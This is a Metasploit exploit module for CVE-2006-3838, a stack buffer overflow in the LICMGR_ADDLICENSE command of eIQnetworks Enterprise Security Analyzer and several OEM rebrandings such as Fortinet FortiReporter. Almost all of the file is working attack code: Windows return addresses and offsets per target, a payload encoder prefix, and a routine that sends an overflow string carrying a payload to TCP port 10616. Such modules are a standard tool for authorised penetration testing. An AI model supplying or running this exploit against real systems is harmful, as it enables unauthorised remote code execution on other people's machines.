##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in eIQnetworks
        Enterprise Security Analyzer. During the processing of
        long arguments to the LICMGR_ADDLICENSE command, a stack-based
        buffer overflow occurs. This module has only been tested
        against ESA v2.1.13.
      },
      'Author'         => [ 'MC', 'ri0t <ri0t[at]ri0tnet.net>',  'kf' ],
      'References'     =>
        [
          ['CVE', '2006-3838'],
          ['OSVDB', '27526'],
          ['BID', '19163'],
          ['ZDI', '06-024'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ],

          ['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English',    { 'Ret' =>  0x750316e2, 'Offset' => 494 } ],   # call ebx
          ['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2',      { 'Ret' =>  0x77db64dc, 'Offset' => 494 } ],	# jmp ebx
          ['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1',     { 'Ret' =>  0x77d16764, 'Offset' => 494 } ],   # jmp EBX
          ['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English',        { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2',          { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',       { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2',         { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',{ 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',    { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2',          { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2',   { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',   { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2',     { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English',          { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2',            { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',   { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 24 2006'
      ))

    register_options(
      [
        Opt::RPORT(10616)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    filler =  rand_text_english(1) * (target['Offset'] - payload.encoded.length)
    sploit =  "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') +  "&";

    sock.put(sploit)

    handler
    disconnect
  end

end
